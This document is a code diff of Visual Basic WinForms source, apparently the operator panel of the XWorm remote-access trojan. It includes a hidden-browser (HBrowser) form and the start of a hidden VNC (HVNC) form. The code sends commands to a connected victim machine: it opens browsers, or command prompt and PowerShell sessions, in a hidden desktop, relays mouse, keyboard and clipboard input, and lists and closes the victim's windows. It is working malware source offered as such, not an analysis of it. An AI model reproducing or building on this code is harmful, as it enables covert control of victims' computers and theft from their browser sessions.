Friend WithEvents Guna2ComboBox1 As Guna.UI2.WinForms.Guna2ComboBox
|
||||
Friend WithEvents Label2 As Label
|
||||
Friend WithEvents Panel1 As Panel
|
||||
Friend WithEvents Label15 As Label
|
||||
Friend WithEvents Guna2ToggleSwitch2 As Guna.UI2.WinForms.Guna2ToggleSwitch
|
||||
Friend WithEvents Guna2Panel1 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2Panel3 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2Panel2 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents ListView1 As ListView
|
||||
Friend WithEvents ColumnHeader3 As ColumnHeader
|
||||
Friend WithEvents ColumnHeader4 As ColumnHeader
|
||||
Friend WithEvents Guna2ContextMenuStrip1 As Guna.UI2.WinForms.Guna2ContextMenuStrip
|
||||
Friend WithEvents GetScreenToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents CloseToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents CustomOpenToolStripMenuItem1 As ToolStripMenuItem
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,201 @@
|
||||
Imports System.Text
|
||||
Imports System.Threading
|
||||
Public Class HBrowser
|
||||
|
||||
Public C As Client
|
||||
|
||||
Public FPS As Integer = 0
|
||||
Public sw As Stopwatch = Stopwatch.StartNew()
|
||||
|
||||
Public rdSize As New Size()
|
||||
Private Sub HBrowser_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
|
||||
AddHandler MyBase.MouseWheel, AddressOf MyMouseWheel
|
||||
|
||||
Guna2ComboBox1.SelectedIndex = 3
|
||||
|
||||
Guna2GradientButton1.PerformClick()
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub MyMouseWheel(sender As Object, e As MouseEventArgs)
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
Dim flag2 As Boolean = e.Delta < 0
|
||||
If flag2 Then
|
||||
Dim B As Byte() = SB("ScrollDown")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Else
|
||||
Dim B As Byte() = SB("ScrollUp")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub CustomOpenToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles CustomOpenToolStripMenuItem1.Click
|
||||
Using form As CustomOpen = New CustomOpen
|
||||
form.Guna2TextBox1.PlaceholderText = "Browser Filename"
|
||||
form.Guna2TextBox2.PlaceholderText = "Title"
|
||||
form.StartPosition = FormStartPosition.CenterParent
|
||||
If form.ShowDialog() = DialogResult.OK Then
|
||||
Dim B As Byte() = SB("OpenBrowser" & SettingsHelper.SPL & "CustomOpen" & SettingsHelper.SPL & form.Guna2TextBox1.Text & SettingsHelper.SPL & form.Guna2TextBox2.Text & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Using
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub GetScreenToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles GetScreenToolStripMenuItem.Click
|
||||
If ListView1.SelectedItems.Count > 0 Then
|
||||
Dim B As Byte() = SB("GetHWND" & SettingsHelper.SPL & ListView1.Items(0).SubItems(0).Text & SettingsHelper.SPL & ListView1.Items(0).ImageKey.ToString & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub CloseToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CloseToolStripMenuItem.Click
|
||||
If ListView1.SelectedItems.Count > 0 Then
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
Dim B As Byte() = SB("Close" & SettingsHelper.SPL & LV.SubItems(0).Text & SettingsHelper.SPL & LV.ImageKey.ToString & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Next
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub RefreshToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles RefreshToolStripMenuItem.Click
|
||||
Dim B As Byte() = SB("UpdateWindowsActive")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
If Guna2GradientButton1.Text = "OFF" Then
|
||||
Guna2GradientButton1.Text = "Capturing..."
|
||||
Dim B As Byte() = SB("HBrowser+" & SettingsHelper.SPL & Guna2ComboBox1.Text.Replace("%", "").ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Else
|
||||
Guna2GradientButton1.Text = "OFF"
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub MicrosoftEdgeToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles MicrosoftEdgeToolStripMenuItem.Click
|
||||
Dim B As Byte() = SB("OpenBrowser" & SettingsHelper.SPL & "edge" & SettingsHelper.SPL & "" & SettingsHelper.SPL & "" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub ChromeToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ChromeToolStripMenuItem.Click
|
||||
Dim B As Byte() = SB("OpenBrowser" & SettingsHelper.SPL & "chrome" & SettingsHelper.SPL & "" & SettingsHelper.SPL & "" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub FireFoxToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles FireFoxToolStripMenuItem.Click
|
||||
Dim B As Byte() = SB("OpenBrowser" & SettingsHelper.SPL & "firefox" & SettingsHelper.SPL & "" & SettingsHelper.SPL & "" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub BraveToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles BraveToolStripMenuItem.Click
|
||||
Dim B As Byte() = SB("OpenBrowser" & SettingsHelper.SPL & "brave" & SettingsHelper.SPL & "" & SettingsHelper.SPL & "" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub HBrowser_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("CloseHBrowser" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub HBrowser_ResizeEnd(sender As Object, e As EventArgs) Handles Me.ResizeEnd
|
||||
If Guna2ToggleSwitch2.Checked Then
|
||||
Dim B As Byte() = SB("Resize" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2ToggleSwitch2_MouseClick(sender As Object, e As MouseEventArgs) Handles Guna2ToggleSwitch2.MouseClick
|
||||
If Guna2ToggleSwitch2.Checked Then
|
||||
Dim B As Byte() = SB("Resize" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_KeyPress(sender As Object, e As KeyPressEventArgs) Handles PictureBox1.KeyPress
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
Dim B As Byte() = SB("keyboardClick" & SettingsHelper.SPL & Convert.ToBase64String(Encoding.UTF8.GetBytes(e.KeyChar.ToString())))
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_MouseEnter(sender As Object, e As EventArgs) Handles PictureBox1.MouseEnter
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
PictureBox1.Focus()
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_MouseDown(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseDown
|
||||
If Guna2GradientButton1.Text = "Capturing..." AndAlso PictureBox1.Image IsNot Nothing AndAlso PictureBox1.ContainsFocus Then
|
||||
Dim point As Point = New Point(e.X * rdSize.Width / PictureBox1.Width, e.Y * rdSize.Height / PictureBox1.Height)
|
||||
|
||||
If e.Button = MouseButtons.Left Then
|
||||
Dim B As Byte() = SB("LeftDown" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString())
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
|
||||
If e.Button = MouseButtons.Right Then
|
||||
Dim B As Byte() = SB("RightDown" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString())
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_MouseMove(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseMove
|
||||
If Guna2GradientButton1.Text = "Capturing..." AndAlso PictureBox1.Image IsNot Nothing AndAlso PictureBox1.ContainsFocus Then
|
||||
Dim point As Point = New Point(e.X * rdSize.Width / PictureBox1.Width, e.Y * rdSize.Height / PictureBox1.Height)
|
||||
|
||||
Dim B As Byte() = SB("MoveCursor" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString())
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend),B)
|
||||
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_MouseUp(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseUp
|
||||
If Guna2GradientButton1.Text = "Capturing..." AndAlso PictureBox1.Image IsNot Nothing AndAlso PictureBox1.ContainsFocus Then
|
||||
Dim point As Point = New Point(e.X * rdSize.Width / PictureBox1.Width, e.Y * rdSize.Height / PictureBox1.Height)
|
||||
|
||||
If e.Button = MouseButtons.Left Then
|
||||
Dim B As Byte() = SB("LeftUp" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString())
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
|
||||
If e.Button = MouseButtons.Right Then
|
||||
Dim B As Byte() = SB("RightUp" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString())
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton5_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton5.Click
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
Dim B As Byte() = SB("paste" & SettingsHelper.SPL & Convert.ToBase64String(Encoding.UTF8.GetBytes(Windows.Forms.Clipboard.GetText)))
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub ListView1_KeyDown(sender As Object, e As KeyEventArgs) Handles ListView1.KeyDown
|
||||
Try
|
||||
If e.Modifiers = Keys.Control AndAlso e.KeyCode = Keys.A Then
|
||||
If ListView1.Items.Count > 0 Then
|
||||
For Each x As ListViewItem In ListView1.Items
|
||||
x.Selected = True
|
||||
Next
|
||||
End If
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+450
@@ -0,0 +1,450 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()>
|
||||
Partial Class HVNC
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()>
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()>
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(HVNC))
|
||||
PictureBox1 = New System.Windows.Forms.PictureBox()
|
||||
Label3 = New System.Windows.Forms.Label()
|
||||
Label1 = New System.Windows.Forms.Label()
|
||||
Label2 = New System.Windows.Forms.Label()
|
||||
StatusStrip1 = New System.Windows.Forms.StatusStrip()
|
||||
ToolStripStatusLabel1 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
Timer2 = New System.Windows.Forms.Timer(components)
|
||||
Timer3 = New System.Windows.Forms.Timer(components)
|
||||
Panel2 = New System.Windows.Forms.Panel()
|
||||
Guna2Panel1 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2ComboBox1 = New Guna.UI2.WinForms.Guna2ComboBox()
|
||||
Guna2Panel3 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Guna2Panel2 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Guna2ComboBox3 = New Guna.UI2.WinForms.Guna2ComboBox()
|
||||
Guna2ComboBox2 = New Guna.UI2.WinForms.Guna2ComboBox()
|
||||
Guna2GradientButton6 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton2 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GroupBox1 = New Guna.UI2.WinForms.Guna2GroupBox()
|
||||
Guna2GradientButton3 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton4 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2ComboBox4 = New Guna.UI2.WinForms.Guna2ComboBox()
|
||||
Label4 = New System.Windows.Forms.Label()
|
||||
Guna2GradientButton5 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2Panel4 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
StatusStrip1.SuspendLayout()
|
||||
Panel2.SuspendLayout()
|
||||
Guna2Panel1.SuspendLayout()
|
||||
Guna2GroupBox1.SuspendLayout()
|
||||
Guna2Panel4.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'PictureBox1
|
||||
'
|
||||
PictureBox1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
PictureBox1.Location = New System.Drawing.Point(0, 65)
|
||||
PictureBox1.Name = "PictureBox1"
|
||||
PictureBox1.Size = New System.Drawing.Size(815, 332)
|
||||
PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage
|
||||
PictureBox1.TabIndex = 1
|
||||
PictureBox1.TabStop = False
|
||||
'
|
||||
'Label3
|
||||
'
|
||||
Label3.AutoSize = True
|
||||
Label3.ForeColor = System.Drawing.Color.Black
|
||||
Label3.Location = New System.Drawing.Point(246, 38)
|
||||
Label3.Name = "Label3"
|
||||
Label3.Size = New System.Drawing.Size(45, 13)
|
||||
Label3.TabIndex = 14
|
||||
Label3.Text = "Resize :"
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Label1.AutoSize = True
|
||||
Label1.ForeColor = System.Drawing.Color.Black
|
||||
Label1.Location = New System.Drawing.Point(19, 38)
|
||||
Label1.Name = "Label1"
|
||||
Label1.Size = New System.Drawing.Size(59, 15)
|
||||
Label1.TabIndex = 11
|
||||
Label1.Text = "Software :"
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Label2.AutoSize = True
|
||||
Label2.ForeColor = System.Drawing.Color.Black
|
||||
Label2.Location = New System.Drawing.Point(74, 38)
|
||||
Label2.Name = "Label2"
|
||||
Label2.Size = New System.Drawing.Size(48, 13)
|
||||
Label2.TabIndex = 12
|
||||
Label2.Text = "Quality :"
|
||||
'
|
||||
'StatusStrip1
|
||||
'
|
||||
StatusStrip1.BackColor = System.Drawing.Color.White
|
||||
StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripStatusLabel1})
|
||||
StatusStrip1.Location = New System.Drawing.Point(0, 467)
|
||||
StatusStrip1.Name = "StatusStrip1"
|
||||
StatusStrip1.Size = New System.Drawing.Size(815, 22)
|
||||
StatusStrip1.TabIndex = 4
|
||||
StatusStrip1.Text = "StatusStrip1"
|
||||
'
|
||||
'ToolStripStatusLabel1
|
||||
'
|
||||
ToolStripStatusLabel1.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel1.Name = "ToolStripStatusLabel1"
|
||||
ToolStripStatusLabel1.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel1.Text = ".."
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'Timer2
|
||||
'
|
||||
'
|
||||
'Timer3
|
||||
'
|
||||
'
|
||||
'Panel2
|
||||
'
|
||||
Panel2.Controls.Add(Guna2Panel4)
|
||||
Panel2.Controls.Add(Guna2ComboBox3)
|
||||
Panel2.Controls.Add(Label3)
|
||||
Panel2.Controls.Add(Guna2Panel1)
|
||||
Panel2.Controls.Add(Guna2ComboBox1)
|
||||
Panel2.Controls.Add(Guna2Panel3)
|
||||
Panel2.Controls.Add(Guna2Panel2)
|
||||
Panel2.Controls.Add(Label2)
|
||||
Panel2.Dock = System.Windows.Forms.DockStyle.Top
|
||||
Panel2.Location = New System.Drawing.Point(0, 0)
|
||||
Panel2.Name = "Panel2"
|
||||
Panel2.Size = New System.Drawing.Size(815, 65)
|
||||
Panel2.TabIndex = 30
|
||||
'
|
||||
'Guna2Panel1
|
||||
'
|
||||
Guna2Panel1.Controls.Add(Guna2GradientButton1)
|
||||
Guna2Panel1.Dock = System.Windows.Forms.DockStyle.Top
|
||||
Guna2Panel1.Location = New System.Drawing.Point(68, 0)
|
||||
Guna2Panel1.Name = "Guna2Panel1"
|
||||
Guna2Panel1.Size = New System.Drawing.Size(679, 21)
|
||||
Guna2Panel1.TabIndex = 35
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton1.Image = Global.XWorm.My.Resources.Resources._Stop
|
||||
Guna2GradientButton1.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton1.ImageSize = New System.Drawing.Size(15, 15)
|
||||
Guna2GradientButton1.Location = New System.Drawing.Point(0, 0)
|
||||
Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Guna2GradientButton1.Size = New System.Drawing.Size(679, 21)
|
||||
Guna2GradientButton1.TabIndex = 34
|
||||
Guna2GradientButton1.Text = "OFF"
|
||||
'
|
||||
'Guna2ComboBox1
|
||||
'
|
||||
Guna2ComboBox1.BackColor = System.Drawing.Color.Transparent
|
||||
Guna2ComboBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.BorderRadius = 3
|
||||
Guna2ComboBox1.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
|
||||
Guna2ComboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
|
||||
Guna2ComboBox1.FocusedColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.Font = New System.Drawing.Font("Segoe UI", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Guna2ComboBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2ComboBox1.ItemHeight = 15
|
||||
Guna2ComboBox1.Items.AddRange(New Object() {"10%", "20%", "30%", "40%", "50%", "60%", "70%", "80%", "90%", "100%"})
|
||||
Guna2ComboBox1.Location = New System.Drawing.Point(128, 34)
|
||||
Guna2ComboBox1.Name = "Guna2ComboBox1"
|
||||
Guna2ComboBox1.Size = New System.Drawing.Size(107, 21)
|
||||
Guna2ComboBox1.TabIndex = 28
|
||||
'
|
||||
'Guna2Panel3
|
||||
'
|
||||
Guna2Panel3.Dock = System.Windows.Forms.DockStyle.Left
|
||||
Guna2Panel3.Location = New System.Drawing.Point(0, 0)
|
||||
Guna2Panel3.Name = "Guna2Panel3"
|
||||
Guna2Panel3.Size = New System.Drawing.Size(68, 65)
|
||||
Guna2Panel3.TabIndex = 37
|
||||
'
|
||||
'Guna2Panel2
|
||||
'
|
||||
Guna2Panel2.Dock = System.Windows.Forms.DockStyle.Right
|
||||
Guna2Panel2.Location = New System.Drawing.Point(747, 0)
|
||||
Guna2Panel2.Name = "Guna2Panel2"
|
||||
Guna2Panel2.Size = New System.Drawing.Size(68, 65)
|
||||
Guna2Panel2.TabIndex = 36
|
||||
'
|
||||
'Guna2ComboBox3
|
||||
'
|
||||
Guna2ComboBox3.BackColor = System.Drawing.Color.Transparent
|
||||
Guna2ComboBox3.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox3.BorderRadius = 3
|
||||
Guna2ComboBox3.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
|
||||
Guna2ComboBox3.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
|
||||
Guna2ComboBox3.FocusedColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox3.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox3.Font = New System.Drawing.Font("Segoe UI", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Guna2ComboBox3.ForeColor = System.Drawing.Color.Black
|
||||
Guna2ComboBox3.ItemHeight = 15
|
||||
Guna2ComboBox3.Items.AddRange(New Object() {"10%", "20%", "30%", "40%", "50%", "60%", "70%", "80%", "90%", "100%"})
|
||||
Guna2ComboBox3.Location = New System.Drawing.Point(297, 34)
|
||||
Guna2ComboBox3.Name = "Guna2ComboBox3"
|
||||
Guna2ComboBox3.Size = New System.Drawing.Size(107, 21)
|
||||
Guna2ComboBox3.TabIndex = 38
|
||||
'
|
||||
'Guna2ComboBox2
|
||||
'
|
||||
Guna2ComboBox2.BackColor = System.Drawing.Color.Transparent
|
||||
Guna2ComboBox2.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox2.BorderRadius = 3
|
||||
Guna2ComboBox2.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
|
||||
Guna2ComboBox2.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
|
||||
Guna2ComboBox2.FocusedColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox2.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox2.Font = New System.Drawing.Font("Segoe UI", 8.25!)
|
||||
Guna2ComboBox2.ForeColor = System.Drawing.Color.Black
|
||||
Guna2ComboBox2.ItemHeight = 15
|
||||
Guna2ComboBox2.Items.AddRange(New Object() {"EdgeBrowser", "BraveBrowser", "FireFoxBrowser", "ChromeBrowser", "CommandPrompt", "PowerShell"})
|
||||
Guna2ComboBox2.Location = New System.Drawing.Point(84, 36)
|
||||
Guna2ComboBox2.Name = "Guna2ComboBox2"
|
||||
Guna2ComboBox2.Size = New System.Drawing.Size(156, 21)
|
||||
Guna2ComboBox2.TabIndex = 39
|
||||
'
|
||||
'Guna2GradientButton6
|
||||
'
|
||||
Guna2GradientButton6.BorderRadius = 3
|
||||
Guna2GradientButton6.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton6.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton6.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton6.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton6.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton6.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton6.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton6.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton6.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton6.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton6.Location = New System.Drawing.Point(246, 36)
|
||||
Guna2GradientButton6.Name = "Guna2GradientButton6"
|
||||
Guna2GradientButton6.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton6.TabIndex = 74
|
||||
Guna2GradientButton6.Text = "Run"
|
||||
'
|
||||
'Guna2GradientButton2
|
||||
'
|
||||
Guna2GradientButton2.BorderRadius = 3
|
||||
Guna2GradientButton2.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton2.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
